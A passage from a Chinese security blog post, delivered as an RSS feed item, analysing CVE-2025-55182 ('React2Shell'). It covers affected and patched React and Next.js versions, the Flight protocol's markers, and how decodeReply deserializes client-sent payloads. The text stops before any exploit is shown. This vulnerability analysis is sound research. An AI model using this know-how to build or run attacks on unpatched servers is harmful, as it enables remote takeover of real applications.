<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>技术猫屋</title>
    <link>https://wechat2rss.xlab.app/feed/c48bba56bd4329af4db5c7b0eacf3d2f1c43c8df.xml</link>
    <description>这里用于分享一些关于 java 安全、代码安全的原创文章。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (技术猫屋)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5F1BoEIvJ0QmgyKeQUVJyFaGxx7TweCqoVIhBGhk90mw/0</url>
      <title>技术猫屋</title>
      <link>https://wechat2rss.xlab.app/feed/c48bba56bd4329af4db5c7b0eacf3d2f1c43c8df.xml</link>
    </image>
    <item>
      <title>React2Shell 分析总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247484098&amp;idx=1&amp;sn=b95cfa7c40deb6d7e699ee01f1e3a6aa</link>
      <description>从修复角度来看，当前实现 RCE 的路子已经被堵死，但是还是存在新漏洞的可能。</description>
      <content:encoded><![CDATA[<p>原创 <span>p4nda</span> <span>2025-12-08 10:02</span> <span style="display: inline-block;">中国香港</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=74c4b3ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmrDACMhC3wuOBk4v6N3zn2diaewVHUTjIvmvCutZTR6TIKHict5wEGt1DBMWMZmvUrhdCfySjSVKIhQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>从修复角度来看，当前实现 RCE 的路子已经被堵死，但是还是存在新漏洞的可能。</p>
  <div data-tool="markdown编辑器" data-website="https://markdown.com.cn/editor" style="font-size: 16px;color: black;padding: 25px 30px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: justify;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">“React2Shell”是一位安全研究人员给 CVE-2025-55182 起的名字，这是对 Log4Shell 漏洞的致敬[1]。</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">[1] <a href="https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce" target="_blank">https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce</a></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">“React2Shell” is the name given to CVE-2025-55182 by a security researcher, a nod to the Log4Shell vulnerability.</span></p></blockquote><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">CVSS</span></strong><span leaf="">评分: 10.0 (严重) | </span><strong style="font-weight: bold;color: black;"><span leaf="">影响范围</span></strong><span leaf="">: React 19 全系列 + Next.js 15/16 | 无需认证的 RCE 漏洞</span></p><h1 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">写在前面</span></h1><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">CVE-2025-55182 是 React Server Components 中的一个满分 10.0 的严重远程代码执行漏洞，攻击者仅需发送单个 HTTP 请求即可在无需认证的情况下实现服务器接管。该漏洞由安全研究员 Lachlan Davidson 于 2025 年 11 月 29 日发现，公开利用 payload 由 maple3142 于 2025 年 12 月 5 日公开，影响 React 19 全系列及 Next.js、React Router 等下游框架。据 Wiz Research 数据显示,39%的云环境包含受影响实例，而利用测试显示成功率接近 100%。由于 React 在全球 JavaScript 框架市场占据 45.8%的份额，该漏洞的潜在影响覆盖数百万生产应用2。</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">Exploitation requires only a crafted HTTP request and has shown near-100% reliability in testing. The flaw stems from insecure deserialization in the RSC payload handling logic, allowing attacker-controlled data to influence server-side execution.</span></p></blockquote><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><strong style="font-weight: bold;color: black;"><span leaf="">影响版本</span></strong></span></h2><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">易受攻击的产品</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">补丁版本</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">react-server-dom*：19.0.0、19.1.0、19.1.1 和 19.2.0</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">19.0.1、19.1.2 和 19.2.1</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Next.js：14.3.0-canary、15.x 和 16.x（应用路由）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">14.3.0-canary.88、15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7</span></p></td></tr></tbody></table><h1 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">一、漏洞原理</span></h1><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">1、什么是 Flight 协议？</span></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Flight 是一种“在网络上传递 React 组件树信息”的协议，客户端用一个解码器把服务器返回的“帧”（frame）解析成可恢复的 React 结构，再进行局部更新和渲染。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这是 React 自己搞的一套协议，主要用来：</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Server → Client</span></strong><span leaf="">：把 Server Components 生成的 UI 结果，序列化成一串「Flight 数据流」，通过 HTTP 传给浏览器，由客户端 React 按协议反序列化、拼成最终 UI。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Client → Server（Reply Flow）</span></strong><span leaf="">：浏览器这边在执行 Server Actions / 交互时，把参数等信息按 Flight 格式编码，POST 回服务器，由 React 的解析器解包、找到对应的 Server Function 去执行。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那这个经过协议处理后的内容长什么样？</span></p></div><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000445" class="rich_pages wxw-img" data-ratio="0.6828125" data-s="300,640" data-type="png" data-w="1280" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=a34dc682&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrDACMhC3wuOBk4v6N3zn2dqaBODQZsAVrjMGliapVRZLFNq0MPRvGw6Ht91N60GM6ib1wZTGYldErw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="markdown编辑器" data-website="https://markdown.com.cn/editor" style="font-size: 16px;color: black;padding: 25px 30px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: justify;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">协议里的数据还是有特征的：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Content-Type 通常为：text/x-component</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">以 $ 开头的特殊标签来表示“特殊值”</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">每条记录有一个 id（行号或资源号）</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">实际上可以理解为：一个专门为 React 组件树和异步依赖设计的、半二进制的自定义 JSON 集</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但 React 官方从来没把 Flight 格式当成公开标准来文档化，而且明确说它不稳定、随版本可能变。也正是如此，各框架（Next.js、React Router、Vite RSC、Parcel RSC 等）都直接依赖 React 这部分实现，这也就导致了如果 React 本身出现了问题，那么依赖 React 这部分实现的框架都会出现问题。（所以虽然 Next.js 官方发布了 CVE-2025-66478， 但被 NVD 拒绝了，毕竟这个漏洞是依赖 CVE-2025-55182 而存在的，NVD 认为它和 CVE-2025-55182 重复了）</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">2、Flight 反序列化</span></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Flight 协议反序列化过程主要依赖于</span><strong style="font-weight: bold;color: black;"><span leaf="">流式数据解析</span></strong><span leaf="">，通过不同的标记（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$F、$L、$P</span></code><span leaf=""> 等）来恢复 React 元素、模块和函数引用。因为 Flight 协议的数据流本质上是一系列 </span><strong style="font-weight: bold;color: black;"><span leaf="">记录（record）</span></strong><span leaf="">，每条记录有三个主要部分：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">类型标记：标记该记录的数据类型，如组件、函数、模块、Promise 等。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">ID 或引用：该记录对应的唯一标识符，通常用来标识 React 元素、模块或函数。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Payload（数据负载）：包含实际的数据，如模块路径、函数参数、异步数据等。</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这些记录包含了各种类型的数据，React 通过解析这些记录并根据标记的类型恢复出组件树或执行相应的操作。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这里需要把 </span><strong style="font-weight: bold;color: black;"><span leaf="">Server → Client</span></strong><span leaf=""> 和 </span><strong style="font-weight: bold;color: black;"><span leaf="">Client → Server（Flight Reply）</span></strong><span leaf=""> 两个方向分开说：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">Server → Client</span></strong><span leaf="">：服务端生成 Flight 流，发给浏览器；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">Client → Server</span></strong><span leaf="">：浏览器把 Server Action 的调用和参数编码成 Flight Reply，发回服务端，由 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">decodeReply</span></code><span leaf=""> / </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">decodeReplyFromBusboy</span></code><span leaf=""> 解包。</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">先看比较“正常”的那条：</span><strong style="font-weight: bold;color: black;"><span leaf="">Server → Client</span></strong><span leaf=""> 渲染流程，大概是这样：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// Server → Client：生成 Flight 数据流</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> { renderToPipeableStream } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">from</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;react-server-dom-webpack/server&#39;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">app.get(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;/rsc&#39;</span></span><span leaf="">, (req, res) =&gt; {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> { pipe } = renderToPipeableStream(</span><span style="line-height: 26px;"><span style="color: #f92672;line-height: 26px;"><span leaf="">&lt;</span><span style="color: #f92672;line-height: 26px;"><span leaf="">App</span></span><span leaf=""> /&gt;</span></span></span><span leaf="">, webpackMap, {</span><span leaf=""><br/></span><span leaf="">    onShellReady() {</span><span leaf=""><br/></span><span leaf="">      res.setHeader(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;Content-Type&#39;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;text/x-component&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 把 Flight 流写到 HTTP 响应里</span></span><span leaf=""><br/></span><span leaf="">      pipe(res);</span><span leaf=""><br/></span><span leaf="">    },</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span leaf="">});</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">真正和这次漏洞相关的是另一条：</span><strong style="font-weight: bold;color: black;"><span leaf="">Client → Server（Flight Reply）</span></strong><span leaf="">。 在这个方向上，服务端并不会用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">createFromReadableStream(req.stream)</span></code><span leaf=""> 之类的 API 去解析请求体，而是通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">decodeReply</span></code><span leaf=""> / </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">decodeReplyFromBusboy</span></code><span leaf=""> 把「来自客户端的 Flight payload」反序列化成 JS 对象/函数。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">典型的文本 / urlencoded 场景里，会使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">decodeReply</span></code><span leaf="">：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 文本 / urlencoded 场景：使用 decodeReply</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> { decodeReply } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">from</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;react-server-dom-webpack/server&#39;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">app.post(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;/action&#39;</span></span><span leaf="">, </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">async</span></span><span leaf=""> (req, res) =&gt; {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 伪代码：把请求体读成字符串 / Buffer</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> body = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> getRawBody(req);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 由 React 负责把 Flight Reply 反序列化成参数数组</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> args = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> decodeReply(body, webpackMap);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 通常 args[0] 是要调用的 Server Action，后面是参数</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> [action, ...actionArgs] = args;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> result = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> action(...actionArgs);</span><span leaf=""><br/></span><span leaf="">  res.json(result);</span><span leaf=""><br/></span><span leaf="">});</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 Next.js / RSC 典型的 </span><strong style="font-weight: bold;color: black;"><span leaf="">multipart/form-data</span></strong><span leaf=""> 场景里，会配合 Busboy 使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">decodeReplyFromBusboy</span></code><span leaf="">：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> busboy </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">from</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;busboy&#39;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> { decodeReplyFromBusboy } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">from</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;react-server-dom-webpack/server&#39;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">app.post(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;/action&#39;</span></span><span leaf="">, (req, res) =&gt; {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> bb = busboy({ </span><span style="line-height: 26px;"><span leaf="">headers</span></span><span leaf="">: req.headers });</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 把 Busboy 作为流传给 React，返回一个 thenable</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> reply = decodeReplyFromBusboy(bb, webpackMap);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 原始 HTTP 请求流喂给 Busboy</span></span><span leaf=""><br/></span><span leaf="">  req.pipe(bb);</span><span leaf=""><br/></span><span leaf="">  reply</span><span leaf=""><br/></span><span leaf="">    .then(</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">async</span></span><span leaf=""> (args) =&gt; {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> [action, ...actionArgs] = args;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> result = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> action(...actionArgs);</span><span leaf=""><br/></span><span leaf="">      res.json(result);</span><span leaf=""><br/></span><span leaf="">    })</span><span leaf=""><br/></span><span leaf="">    .catch(</span><span style="line-height: 26px;"><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">err</span></span><span leaf="">) =&gt;</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">      res.status(</span><span style="line-height: 26px;"><span leaf="">500</span></span><span leaf="">).end(err.message);</span><span leaf=""><br/></span><span leaf="">    });</span><span leaf=""><br/></span><span leaf="">});</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">decodeReply</span></code><span leaf=""> / </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">decodeReplyFromBusboy</span></code><span leaf=""> 内部，就是后面要分析的那套 Flight 反序列化逻辑： 它会按 </span><span leaf="">L / $@ 等标记，把记录解析成函数引用、模块引用、Promise 等对象，再交给上层框架（比如 Next.js）去实际调用。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">下面是一些反序列化解析的示例：</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">例如，React 可能会传递一个模块的路径以及对应的导出：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> LazyComponent = React.lazy(</span><span style="line-height: 26px;"><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf=""> =&gt;</span></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;./LazyComponent&#39;</span></span><span leaf="">));</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 Flight 数据流中，这个模块的引用会被序列化为一个包含 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$L</span></code><span leaf=""> 标记的记录。</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">{</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$L&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;./LazyComponent&#34;</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">服务器端接收到这个记录后，会根据路径解析模块并加载它，然后将模块的默认导出作为 React 元素进行渲染。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">再比如，当客户端请求一个 </span><strong style="font-weight: bold;color: black;"><span leaf="">Server Action</span></strong><span leaf=""> 时，Flight 数据流中会包含一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$F</span></code><span leaf=""> 标记来表示该函数引用。</span></p><pre 